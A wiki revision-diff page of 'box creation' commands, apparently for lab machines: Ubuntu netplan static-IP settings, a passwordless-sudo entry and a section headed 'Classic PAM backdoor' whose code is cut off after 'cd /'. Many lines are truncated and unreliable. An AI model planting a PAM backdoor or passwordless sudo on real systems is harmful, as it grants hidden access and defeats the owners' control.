This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| common_box_creation_commands [2021/11/08 04:38] – Charlie Root | common_box_creation_commands [2022/11/29 19:14] (current) – michael | ||
|---|---|---|---|
| Line 27: | Line 27: | ||
| </ | </ | ||
| - | Linux set static IP: | + | Linux set static IP for before Ubuntu 22: |
| < | < | ||
| / | / | ||
| Line 39: | Line 39: | ||
| </ | </ | ||
| + | Linux set static IP for Ubuntu 22 and later: | ||
| < | < | ||
| - | / | + | / |
| network: | network: | ||
| - | | + | |
| - | renderer: networkd | + | renderer: networkd |
| - | ethernets: | + | ethernets: |
| - | | + | < |
| - | dhcp4: | + | dhcp4: |
| - | addresses: | + | |
| - | | + | addresses: |
| - | nameservers: | + | - 192.168.0.10/ |
| - | addresses: [192.168.0.11, | + | routes: |
| + | - to: default | ||
| + | via: 192.168.0.1 | ||
| + | | ||
| + | | ||
| + | |||
| + | Apply changes: | ||
| + | sudo netplan apply | ||
| </ | </ | ||
| Line 57: | Line 66: | ||
| < | < | ||
| find . -name ' | find . -name ' | ||
| + | </ | ||
| + | |||
| + | Sudoer NOPASSWD | ||
| + | |||
| + | < | ||
| + | %sudo | ||
| + | </ | ||
| + | |||
| + | |||
| + | Classic PAM backdoor | ||
| + | |||
| + | < | ||
| + | # Ubuntu 20.04 | ||
| + | cd / | ||
| </ | </ | ||